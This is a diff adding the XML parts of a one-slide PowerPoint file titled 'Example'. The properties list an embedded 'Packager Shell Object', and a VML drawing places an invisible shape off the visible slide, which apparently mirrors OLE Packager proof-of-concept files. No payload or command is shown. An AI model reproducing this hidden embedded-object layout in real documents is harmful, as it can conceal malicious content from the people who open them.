ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail" Target="docProps/thumbnail.jpeg"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template></Template><TotalTime>37</TotalTime><Words>2</Words><Application>Microsoft Office PowerPoint</Application><PresentationFormat>On-screen Show (4:3)</PresentationFormat><Paragraphs>2</Paragraphs><Slides>1</Slides><Notes>0</Notes><HiddenSlides>0</HiddenSlides><MMClips>0</MMClips><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="6" baseType="variant"><vt:variant><vt:lpstr>Theme</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant><vt:variant><vt:lpstr>Embedded OLE Servers</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant><vt:variant><vt:lpstr>Slide Titles</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="3" baseType="lpstr"><vt:lpstr>Office Theme</vt:lpstr><vt:lpstr>Packager Shell Object</vt:lpstr><vt:lpstr>Example</vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>14.0000</AppVersion></Properties>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>Example</dc:title><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>9</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2014-08-06T07:56:10Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2014-11-12T06:36:10Z</dcterms:modified></cp:coreProperties>
Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/presProps" Target="presProps.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/tableStyles" Target="tableStyles.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/viewProps" Target="viewProps.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.wmf"/></Relationships>
@@ -0,0 +1,31 @@
<xml xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:p="urn:schemas-microsoft-com:office:powerpoint"
xmlns:oa="urn:schemas-microsoft-com:office:activation">
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1"/>
</o:shapelayout><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75"
o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
<v:stroke joinstyle="miter"/>
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
<v:f eqn="sum @0 1 0"/>
<v:f eqn="sum 0 0 @1"/>
<v:f eqn="prod @2 1 2"/>
<v:f eqn="prod @3 21600 pixelWidth"/>
<v:f eqn="prod @3 21600 pixelHeight"/>
<v:f eqn="sum @0 0 1"/>
<v:f eqn="prod @6 1 2"/>
<v:f eqn="prod @7 21600 pixelWidth"/>
<v:f eqn="sum @8 21600 0"/>
<v:f eqn="prod @7 21600 pixelHeight"/>
<v:f eqn="sum @10 21600 0"/>
</v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
<o:lock v:ext="edit" aspectratio="t"/>
</v:shapetype><v:shape id="_x0000_s1034" type="#_x0000_t75" style='position:absolute;left:100pt;top:-100pt;width:30pt;height:30pt'>
<v:fill color="white" opacity="1" on="f" type="solid"/>
<v:stroke on="f"/>
<v:imagedata o:relid="rId1" o:title="" croptop="0" cropbottom="0" cropleft="0"
cropright="0" grayscale="f" bilevel="f"/>
<o:lock v:ext="edit" aspectratio="t" position="f" selection="f" grouping="f"/>
</v:shape></xml>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:presentationPr xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"><p:extLst><p:ext uri="{E76CE94A-603C-4142-B9EB-6D1370010A27}"><p14:discardImageEditData xmlns:p14="http://schemas.microsoft.com/office/powerpoint/2010/main" val="0"/></p:ext><p:ext uri="{D31A062A-798A-4329-ABDD-BBA856620510}"><p14:defaultImageDpi xmlns:p14="http://schemas.microsoft.com/office/powerpoint/2010/main" val="220"/></p:ext><p:ext uri="{FD5EFAAD-0ECE-453E-9831-46B23BE46B34}"><p15:chartTrackingRefBased xmlns:p15="http://schemas.microsoft.com/office/powerpoint/2012/main" xmlns="" val="0"/></p:ext></p:extLst></p:presentationPr>
@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" saveSubsetFonts="1"><p:sldMasterIdLst><p:sldMasterId id="2147483648" r:id="rId1"/></p:sldMasterIdLst><p:sldIdLst><p:sldId id="256" r:id="rId2"/></p:sldIdLst><p:sldSz cx="9144000" cy="6858000" type="screen4x3"/><p:notesSz cx="6858000" cy="9144000"/><p:defaultTextStyle><a:defPPr><a:defRPr lang="en-US"/></a:defPPr><a:lvl1pPr marL="0" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl1pPr><a:lvl2pPr marL="457200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl2pPr><a:lvl3pPr marL="914400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl3pPr><a:lvl4pPr marL="1371600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl4pPr><a:lvl5pPr marL="1828800" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl5pPr><a:lvl6pPr marL="2286000" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl6pPr><a:lvl7pPr marL="2743200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl7pPr><a:lvl8pPr marL="3200400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl8pPr><a:lvl9pPr marL="3657600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1"><a:defRPr sz="1800" kern="1200"><a:solidFill><a:schemeClr val="tx1"/></a:solidFill><a:latin typeface="+mn-lt"/><a:ea typeface="+mn-ea"/><a:cs typeface="+mn-cs"/></a:defRPr></a:lvl9pPr></p:defaultTextStyle><p:extLst><p:ext uri="{EFAFB233-063F-42B5-8137-9DF3F51BA10A}"><p15:sldGuideLst xmlns:p15="http://schemas.microsoft.com/office/powerpoint/2012/main" xmlns="">
<p15:guide id="1" orient="horz" pos="2160">
<p15:clr>
<a:srgbClr val="A4A3A4"/>
</p15:clr>
</p15:guide>
<p15:guide id="2" pos="2880">
<p15:clr>
<a:srgbClr val="A4A3A4"/>
</p15:clr>
</p15:guide>
</p15:sldGuideLst></p:ext></p:extLst></p:presentation>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="title" preserve="1"><p:cSld name="Title Slide"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ctrTitle"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="685800" y="2130425"/><a:ext cx="7772400" cy="1470025"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Subtitle 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="subTitle" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="1371600" y="3886200"/><a:ext cx="6400800" cy="1752600"/></a:xfrm></p:spPr><p:txBody><a:bodyPr/><a:lstStyle><a:lvl1pPr marL="0" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl1pPr><a:lvl2pPr marL="457200" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl2pPr><a:lvl3pPr marL="914400" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl3pPr><a:lvl4pPr marL="1371600" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl4pPr><a:lvl5pPr marL="1828800" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl5pPr><a:lvl6pPr marL="2286000" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl6pPr><a:lvl7pPr marL="2743200" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl7pPr><a:lvl8pPr marL="3200400" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl8pPr><a:lvl9pPr marL="3657600" indent="0" algn="ctr"><a:buNone/><a:defRPr><a:solidFill><a:schemeClr val="tx1"><a:tint val="75000"/></a:schemeClr></a:solidFill></a:defRPr></a:lvl9pPr></a:lstStyle><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master subtitle style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="vertTx" preserve="1"><p:cSld name="Title and Vertical Text"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Vertical Text Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" orient="vert" idx="1"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr vert="eaVert"/><a:lstStyle/><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="vertTitleAndTx" preserve="1"><p:cSld name="Vertical Title and Text"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Vertical Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title" orient="vert"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="6629400" y="274638"/><a:ext cx="2057400" cy="5851525"/></a:xfrm></p:spPr><p:txBody><a:bodyPr vert="eaVert"/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Vertical Text Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="body" orient="vert" idx="1"/></p:nvPr></p:nvSpPr><p:spPr><a:xfrm><a:off x="457200" y="274638"/><a:ext cx="6019800" cy="5851525"/></a:xfrm></p:spPr><p:txBody><a:bodyPr vert="eaVert"/><a:lstStyle/><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fifth level</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="4" name="Date Placeholder 3"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="dt" sz="half" idx="10"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{A3E2BFEF-B464-43B7-BACB-B80E2ED36959}" type="datetimeFigureOut"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>11/12/2014</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="Footer Placeholder 4"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="ftr" sz="quarter" idx="11"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="6" name="Slide Number Placeholder 5"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="sldNum" sz="quarter" idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="obj" preserve="1"><p:cSld name="Title and Content"><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master title style</a:t></a:r><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="3" name="Content Placeholder 2"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr><p:nvPr><p:ph idx="1"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:pPr lvl="0"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Click to edit Master text styles</a:t></a:r></a:p><a:p><a:pPr lvl="1"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Second level</a:t></a:r></a:p><a:p><a:pPr lvl="2"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Third level</a:t></a:r></a:p><a:p><a:pPr lvl="3"/><a:r><a:rPr lang="en-US" smtClean="0"/><a:t>Fourth level</a:t></a:r></a:p><a:p><a:pPr lvl="4"/><a:r><a:rPr lang="en-US" 